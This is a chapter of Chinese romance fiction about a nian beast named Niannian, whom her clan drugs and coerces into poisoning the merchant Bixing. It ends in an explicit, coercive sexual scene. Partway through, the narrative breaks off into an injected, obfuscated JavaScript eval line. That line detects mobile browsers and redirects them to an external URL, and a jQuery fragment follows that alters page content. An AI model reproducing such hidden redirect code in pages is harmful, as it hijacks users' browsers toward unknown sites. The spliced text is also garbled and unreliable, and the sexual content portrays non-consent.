年年从辟星的吻里尝过血的味道。
身为兽类,他们似乎天生会被血腥味儿影响,他会变得兴奋,张狂,用力地掐住她的腰,往后带。
她不喜欢血,但是她喜欢他的吻。
年年醒来的时候,满口血腥味。她雪白的兽毛沾着血块,泓站在她旁边,笑道:“你醒了。”
“那个药……”
泓甩干净水,说道:“去洗洗吧。现在天气好,毛比较容易干。”
年年以年兽姿态站立着,尾巴垂在腿边,抬头看了看天色。
日头确实很好。
她慢慢走进湖水中,僵硬地清洗自己的兽身。
她看着自己满是血迹的倒影,呆愣数秒,回忆起断断续续的血色片段,滚烫的眼泪掉落在湖水里。
血迹如水中荇,顺着粼粼波光溜走。
“你吃人了。”泓站在岸上。
“不会的……”她惊恐摇头,把倒影摇晃得面目不清。
“这是年兽的本性,没什么奇怪,你只不过是被神界的人洗脑了,难道你真的想和人类成为好朋友?”
湖面的水平静下来。
水中那个龇牙咧嘴的兽,瞠着红眼睛盯着她看。她一爪子拍乱湖水,大声道:“不要——”
这不是她,这不可能是她——
她朝岸上爬过去,淌起一片冰凉的水。脚腕的烟铃铛响起来,叮铃铃颤得她的心直跳。
天边卷起云雾,泓面色一变,架起她,不让铃铛再响动,身形一闪,眨眼便将她带到海底火山中的极乐窟里。
海水会隐蔽气味。
年年在水中呛住,吐出挣扎的气泡,再次醒过来的时候,发觉已经变回人身,她双足被置于椅子上,双手被拉在半空,无法动弹。
点着火把的洞穴地势复杂,空气中散发着一种暖乎乎的香气,催兽迷离。
年年不安地扭动着,可仍旧无法撼动半分。
她的周围绕着十几只年兽,健康完好的仅有两三只,其余的要么瞎了眼睛,要么瘸了腿,泓坐在她的对面,像个不可一世的山大王。
“别扭了,”泓翘着兽腿,兽脸上的疤痕流着血,一只母年兽正在为他敷药,他把玩着母年兽,笑道,“你就是这样扭得辟星留情的?”
十几只年兽哈哈大笑,年年抿唇不语,越发用力地挣扎,脸颊涨得通红。
“众位,别笑。”泓站起来,走到兽群中间,“这是神机庭里最后的年兽。她不是从神机庭里逃出来,或者,被神机庭派下任务的年兽。她是被神界赐予自由的年兽。”
年兽们面面相觑。
“不仅如此,这只母年兽很有本事。出来后不仅没有被人类杀掉,反而留在了神兽貔貅的旁边,与貔貅族鼎鼎大名的商人辟星媾/和,将对方哄得服服帖帖。”泓眯眼道,“这段时日,安然村没有收获,正是辟星在暗中阻挠,坏我们好事。”
年兽们目露凶光,响应着泓。
泓脸上的疤痕再次渗出鲜血:“——辟星此仇,我必报!而这只母年兽,已经由她自己的努力,通过了我的考验,回到了族群中。如今,她会帮助我们,斩除阻挠之辈!”
年年字字听在耳边,却不敢相信自己的耳朵。
不应该是这样的。
“我不行,我做不到,我不接受!”
她不断挣扎着,说着不要,可是没有年兽愿意听她说话。
“我不接受!”她张皇失措地说,“我不要回来了——”
泓微笑道:“你必须接受。你是年兽,生来就会吃人,会被杀。除去辟星不好吗?报族群之仇,又可壮大声势。你是年兽,自然要为族群考量。”
他轻柔蛊惑:“况且,辟星喜爱你的身子,你很容易就能做到。到那时,你可以将神兽踩在脚底,名震神界。”
“可我不需要,不要……不要扒我的衣服!不要在我身上抹毒药,不可以!——不要拿走我的魂魄,不要拿走它,那是我好不容易拿回来的,是我——”
是她好不容易拿回来的东西,唯独她的灵魂,不要拿走她的魂魄碎片……
她哭着请求。
泓目露精光,叹息道:“放心,吃下这粒药,待你杀了他,你那一缕魂魄,纵使是穿越天际,也会回到你的身体中。”他抚摸着她没有涂抹紫红色媚毒的肌肤,看见她的皮肤迅速溃烂,又迅速新生,胸前一颗星星莹莹闪光,变得比以往更加娇艳动人。
“如若交欢五次,辟星必死无疑。”他笑道,“那时,你是族群的英雄,不再是无名之辈。族群中所有兽,都会喜欢你。”
风瑟瑟吹过。
海面上,重新穿好衣裳的少女静静漂浮着,她脚腕上的烟铃铛随着海水的呼吸闷闷响动。
月光俯照大地。
她在海水中摇晃着,就像在这人间行走。
她想起在神机庭度过的三百年时光,无聊却充满希望。
那时,她觉得只要从神机庭出来,她便能完成心里的一切愿望。
她闻见身上散发出的香气,不再习惯性流眼泪。
她只是呆呆地看着月亮。
如果年兽注定要被人杀死,那么,她又是为了什么而存在的呢?
如果她不是年兽的话,如果她不是她的话……
一切会不会好一点呢?
年年不明白。
她从始至终都不明白。
倏尔,平静的海面上,浮动的云烟汇聚成形,有一个人挡住了月光。
熟悉的气息卷到她的呼吸中,没入身体。
年年微微张唇,双眼微微睁大,眼尾无声掉落着泪珠。
辟星站在海面上,低头看她。
他眉宇间有她不太熟悉的情绪,金眸晦暗不明。
“……你在这里。”
她沉默不语。
“小东西,又哭。”他抹去她的眼泪,“如果用金子来计算,找你的时间,叫我赔本无数。我也该陪你哭,嗯?”
她眼泪流得更凶,抿着唇,努力不让自己泄气,哑声道:
“大人可以不来找我。不要我。”
辟星的烟杆别在腰间,蹲下身,从水中横抱起她,稳稳地将她钳制在怀中,半跪在波涛上。
他肌肉紧绷着,像铁。烟铃铛哗啦啦响着,流动着,回到主人的身体,从他口鼻中流过,缓缓呼出来。
霎时间,他眉宇在月色的阴影下狞着可怖的杀气,金眸半隐在烟雾中,定定地看着她。
“不要你,找谁?损失,谁赔?”
他凑下来,想要吻她。充满欲望和野性的双眸牢牢锁住她,叫她感到害怕。
她慌忙推开他,错开眼神:“好,找我。我给大人当牛做马,我去找土地老爷,伺候大人,大人别亲我,别碰我。”
她拒绝得干干脆脆:不仅拒绝他想要落在唇上的吻,还接连拒绝了他的触碰。
她像他怀里不安的刺猬,不知如何逃脱,只能伸出刺来。
可她逃不开。
辟星抬起她的腿,兽类的獠牙在她脚腕咬出了一个小小的血洞,她吃痛,涂上媚毒的身子在他掌中起了反应,散发出夺人心魄的香气。
一阵烟雾化作细缕,从血洞中钻进去,辟星搂着她的腰,掐住她的下巴,死死固定住,低头给了她一个炽热而充满占有欲的吻。
沾着紫红色的烟雾流转,回到他口中。
她被熟悉的温度烫得脑袋发晕,想起泓说过的话,心里恐惧得发颤。她左右为难,不知如何叫他松开,只好抬手给了他一个巴掌。
一声清亮。
辟星慢慢回转过头,俊美的脸庞妖冶得有些诡异。
不知是她太过用力,还是哪里沾来的偶然,他唇边渗出的血迹叫她浑身发抖,瞳孔紧缩。
他抹去唇角的血迹,眉眼带笑:“小狗打我?”
年年如至冰窟:“大人,别在这里……”
“嗯,你说得对。”他说,“你求求我。”
她咬着唇,手中握着他的发尾,怯怯地摇一摇。
他眉目冰冷。
求他的后果是什么,她心知肚明。
她不能求。
年年咬牙,将情愫吞下去,黑睫颤动着,说道:“大人,我们已经回到了各自身体中,不用再像从前那样……了。”
“哪样?”他冷声道,“说出来。”
年年想起种种亲密,眸光乱跳:“不用再像从前那样交……合。”
他含着笑,似怒非怒。
年年狠下心,闭眸道:“我和大人一同本就勉强,那样根本不舒服,现下,我拿回了自己的魂魄,只想一走了之,和大人再无干系。”
海浪声轻柔。
年年等了半晌,疑惑地睁开眼睛看。
辟星并没有将她丢开,只是勾着唇,缓声道:“小狗还没散场就想跑?”
年年一愣。
他的手指抚过她的脸庞,俯下身,蹭湿了她的唇,哑声笑:“我不允许。”
他身后的海面腾起数不清的烟雾,那些烟雾带着他的意志,如藤蔓般往下钻进海水,直到深处。
海水底下似乎传出了恐慌的闷哼,还有阵阵血迹。年年还没有看明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256752|166090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,再眨眼,辟星便瞬间带年年回到安心的客栈中。
年年被甩到床榻上,烟雾自行锁起她的四肢,将她拉高,熟悉的情形再现,年年害怕得颤抖。
“大人,不可以……”那些毒……不能交/欢,会害了他的。
年年摇头:“我不喜欢大人了,我要走!”她尝试运用苍宁教给她的术法,可是她法力低微,若不被束缚住还好,束缚住,根本无法产生作用。
辟星跨上床,制住她的肩颈处,勾着笑:“我不喜欢你叫我大人。”
“大人……不喜欢,不喜欢在大人身边……”
她被男人的长指搅/弄着口舌,辟星仍旧带着怒:“不许说谎。”
年年呜呜哭出来,清澈的双眸流露着哀柔:“不要,不喜欢……唔嗯……呜……”
“不是说最喜欢我?”他将她从空中放下,说,“不是说,只想与我做乐事?”
年年眼尾垂泪,伏在身下轻轻颤动。
“又想用眼泪骗我?”他金眸闪动,扬起诡谲的笑,轻轻说:“你和我定下了契约,年年。生是我的人,死是我的鬼。烟铃铛会记录下所有讯息——”
他附耳道:“你骗不了我。”
年年睁大眼。
他的吻又快又凶,几乎将她吞没。她已经分不清楚,是因为那媚毒在发烫,还是因为他的缘故。
“大人……”
她哀哀叫着,他掐住她,往后带,将不属于她的衣裳撕得一干二净。
年年低呼一声。
他搂着她,用烟雾锁住她的双腕,勾着笑,强硬地、不容她反抗地,亲手为她穿上一件薄纱。
薄纱上绣着金线,成色惊人,工艺繁琐,一见便知价格不菲,非一般人所能拥有。
宽大的薄纱更显她身材娇小可人,隐隐约约透出几分娇色,叫人欲罢不能。
辟星捻紧系带,满意地圈住她的腰身,抬眸怜惜她的脸庞。
“五次是不是?”
年年咬唇:“大人都知道?”
“小狗忘了,”他笑了笑,“我可是个倒卖讯息的商人。有很多事我都知道,不过,也有我想要确定的事。”
年年沉眸。
五次。
她不愿意,因为她,产生任何闪失。
他抬手,拨弄。
年年脸颊迅速泛着一阵叫人无法移开目光、惊心动魄的红,他金眸渐亮,她却不安至极。
“我不再需要大人了……”她哭叫着,“也不喜欢和大人做这样的事……”
“说谎。从前是谁叫得那样快乐,”他哑声重复道,“我不喜欢你唤我大人。”
他长指解开一方绳带。
藏着的地方,似春。
露光靡靡。
他五指没入她的发间,逼她垂头。
辟星似较她,更为情动。
金眸弥漫上浓重的欲念,浑身都在发烫。
年年面对面挂在他肩上,他的手掌扶着她的腰,不叫她软塌塌的,倒下去。
他鼻尖触春,问道:“你记得,最初时,该唤我什么?”
他折磨她。
鼻尖摩挲着。
然后是唇舌。
她胡乱揪着他的发,仰着头,小腿抽筋,脑中一片空白。
不……不行……
年年想不出来。他暂停,长指翻弄。
“唤我什么?”
是什么?唔,大爷。不对。是大人,不是。是什么,该是什么?最初的时候,郎君,郎君,接近了。
很接近了。
“再想想,”他金眸中妖冶的杀气缓缓落下,取而代之的,是沉迷的戏谑,和强而深的占有欲,他不肯给她痛快,若即若离,蛊惑道,“说出来,我继续亲。把小狗亲得舒舒服服。嗯?”
她受到了诱惑。
她明明感觉没再有媚毒那不正常的烫,可脑中仍旧空白着,理智和欲念在打架。
她拒绝不了。
她拒绝不了他。
她一定是病了,好可怕,另一种病。
另一种只要看见他就发作的病。
年年眼泪汪汪,扭动着,带着哭音,吸气道:“……夫君……呀。”
话音刚落,没有被满足的兽,肌肉隆起,扣住她,如探池饮水。
薄纱挤作一团,泛着华贵而靡靡的光。
辟星毫不留情地将她抵在床头,锁在怀中,凑上去吻咬着,几乎要将她吃掉。他金眸中泛着一抹紫红,哑声笑道:“乖小狗,五次怎么够?呼——五次,六次,做到死,我们做到死,嗯?”